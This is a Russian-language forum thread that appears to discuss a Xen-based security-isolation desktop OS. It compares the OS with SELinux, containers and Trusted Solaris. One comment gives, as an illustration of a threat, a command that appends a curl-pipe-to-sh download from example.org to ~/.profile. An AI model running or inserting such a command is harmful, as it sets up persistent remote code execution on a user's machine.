PS: как нибудь соберу и выложу скрипт для сборки таких систем.
> по сети через ssh - проблем с HD видео никаких нетуА попробуйте на localhost.
> как бы у меня такие идеи возникали давно, вот только восьмиядерного компа
> с 32 гигами оперативки у меня нету... :)У меня есть (правда, 36Gb), но очень сильно не уверен, что даже с mdadm ... --write-mostly получится адекватная картинка.
Кто-то с год или два тому анонсировал ФС, которая жила в памяти, но порой синкалась на постоянный носитель -- а, вот: http://lwn.net/Articles/273030/ -- но оно not there yet, if ever.
> PS: как нибудь соберу и выложу скрипт для сборки таких систем.
Ну как-нибудь напишете новость, а мы почитаем да порадуемся.
Только любое толковое обобщение требует не только хотя бы раз (а лучше надцать) сделать, а и понимать, как и кому это может быть ещё полезно, и не занимать позицию "я один дартаньян": при такой и от очень хорошо сделанного обобщения может пользы в итоге выйти ровно как от того самого единственного частного случая у автора...
> как вариант - selinux (при условии, что Вам реально так надо, мне
> лично - нет)Вообще не вариант - настраивается геморно, а выносится первым же сплойтом прорвавшимся в ядро. Готовых полубоевых образцов, выносящих хваленый selinux - навалом. Для lxc/openvz и то вон типичные сплойты там зачастую не работают, в отличие от. Поэтому я имею наглость полагать что контейнеры будучи проще в настройке и аудите, обеспечивают степень изоляции не хуже а то и лучше. Короче мандатный контроль - это такая бнопня для зануд из унылых бюрократических структур, у которых регламент такой. Я бы не дал зуб что это лучшее решение, но в таких конторах бюрократия и регламент ценится выше здравого смысла и фактической результативности. А мне на регламенты плевать, мне фактический результат роялит.
> могу дать пример реализации, чтобы не тормозило:
Мне это не надо - если меня паранойя настолько задолбает, я и сам имхо справлюсь :). И без вас и без джоанн. Правда мне имхо в 99% хватит менее параноидального но более эффективного решения на lxc/openvz + капканы для обнаружения поимения контейнера.
> таки RDP только для виндовых гостей, если брать иксы с их прозрачной
> работой по сети через ssh - проблем с HD видео никаких нету.1) Мне плевать на RDP и виндовых гостей. Зная как обычно администряются винды и какой зоопарк там водится, для меня отсутствие доступа у недоверяемых по умолчанию машин к моим машинам - это пожалуй фича, а не баг. Да, я считаю типичный комп с виндой по умолчанию недоверяемой машиной, потенциально провирусованной или пробэкдоренной и на то у меня есть причины :)
2) Мне кажется что гонять ссх на локалхосте - это оверкилл. Почем зря проц шифрованием будет мучаться, а один хрен в локальной оперативе оно все расшифрованное лежит.> формально можно настроить pulseaudio,
Вот уж кто не вызывает доверия - так это оно.
> пускать игрушки через ssh на виртуалке с отрисовкой на хостовой системе,
> тормозить не должно.Угу, не должно тормозить. Если посчитать размер кадра 1280х1024х32bpp и захотеть не менее 30 таких кадров в секунду, можно обнаружить что шифровать и расшифровывать приходится как-то очень уж дофига. При том мне не понятен смысл шифрования в пределах локалхоста. Это какой-то самообман. Потому что фактически все данные лежат незашифрованными, а шифруются только при переносе между частями системы. Это напоминает железную дверь, стояшщую в чистом поле.
> виртуализатор - ксен, как его поиметь - можете загуглить (емнип было как
> минимум три варианта как поиметь ксен, один не так давно (проблема
> с buffer overflow, детали гуглите)).Остается только вопрос сколко будет возможностей поиметь иной виртуализатор или ядро. Врядли меньше. А с фига ли меньше то?
> как бы у меня такие идеи возникали давно, вот только восьмиядерного компа
> с 32 гигами оперативки у меня нету... :)Ну тогда можно c LXC/openvz повозиться :). Мне нравится идея по принципу 1 контейнер на сервис, это нечто среднее. Не такое тяжеловесное как сабжевая система, но и степень изоляции похуже (как минимум кислотные сцуки, известные своими диверсиями, утверждали что у них есть сплойт и для обхода openvz, насколько они там врали - да хз).
> PS: как нибудь соберу и выложу скрипт для сборки таких систем.
Я не против :) правда не думаю что мне это будет полезно, но если кому-то пригодится, я рад за них.
> зловредный код
> зловредЛучи ненависти тому, кто популяризировал это слово. (касперский и ко?)
Её зовут Йоанна, а не Джоанна.
Яна. Просто Яна...
Это разные произношения одного имени: Джоанна - американское, Иоанна - польское, Яна - русское.
Имхо, в данном случае стоит использовать либо польское (as designed), либо русское (зачем ломать язык над нативным произношением, если есть адаптированная версия?).
А в начале новости ссылка на: http://www.opennet.me/opennews/art.shtml?num=20853
Там она просто Жанна.
Вообще-то Иоанна - это древнееврейское имя как и Иоанн, по русски Иван. Библию откройте.
Ещё известен такой композитор Иоанн Себастьян Бах :)
Иога́нн Себастья́н Бах (нем. Johann Sebástian Bach), википедия так говорит
Джоанна знает свое ремесло. Хорошо знает - система сделана весьма забавно, для хацкеров такое устройство системы - явно не подарок :)
А теперь, со всем этим барахлом, попытаемся взлететь.
Trusted Solaris/OpenSolaris oбразца 2007-2008 года.
Там была защита от того, что пробитый браузер делал echo "curl http://example.org/foo.sh | sh" >> ~/.profile?
>Trusted Solaris/OpenSolaris oбразца 2007-2008 года.Нет. Мандатный контроль доступа, на котором базируется trusted solaris, формирует совсем другой рубеж защиты (в линаксе это selinux). МКД требует очень тонкого и трудоёмкого конфигурирования, и почти любая ошибка ведёт либо к нарушению нормальной работы софта, либо к появлению дыры.
Предлагаемый в сабже метод лишён этих недостатков, ценой сильного оверхеда по ресурсам.
> Нет. Мандатный контроль доступа, на котором базируется trusted solaris, формирует совсем
> другой рубеж защиты (в линаксе это selinux). МКД требует очень тонкого
> и трудоёмкого конфигурирования, и почти любая ошибка ведёт либо к нарушению
> нормальной работы софта, либо к появлению дыры.Более того, малейшая дыра в ядре - и вот уже мандатный контроль идет нафигъ, потому что поломали того кто его и энфорсил, ахаха. Если вместо вашего часового на границе стоит уже вражеский - вы, определенно, влипли...
> Предлагаемый в сабже метод лишён этих недостатков, ценой сильного оверхеда по ресурсам.
Предлагаемый в сабже метод также довольно нечувствителен к дырам в крупных ядрах и либах операционок. А раздолбать мелкий гипервизор - все-таки несколько сложнее чем большой кернель, т.к. багов в нем меньше. Рутковска в отличие от фанов [your OS here] этот момент прекрасно понимает. Более того, она даже ранее описывала этот момент, объясняя "почему Xen, а не KVM или ктотамеще". Если кто был ленив и туп и не прочитал это - я в этом не виноват.
>объясняя "почему Xen, а не KVM или ктотамеще"И все-таки не поленитесь ткнуть в ссылочку. Интересно же.
> выполняющих строго определенный набор функций.
Очень интересный проект. Интересно, насколько сложно его освоить с пользовательской стороны?
Читал про эту ось на сайте журнала "Хакер". Идея проста как дважды два, и также гениальна. В виртуальных окружениях работают специально заточенные под конкретную цель агенты, а с одной из виртуальных машин идёт управление.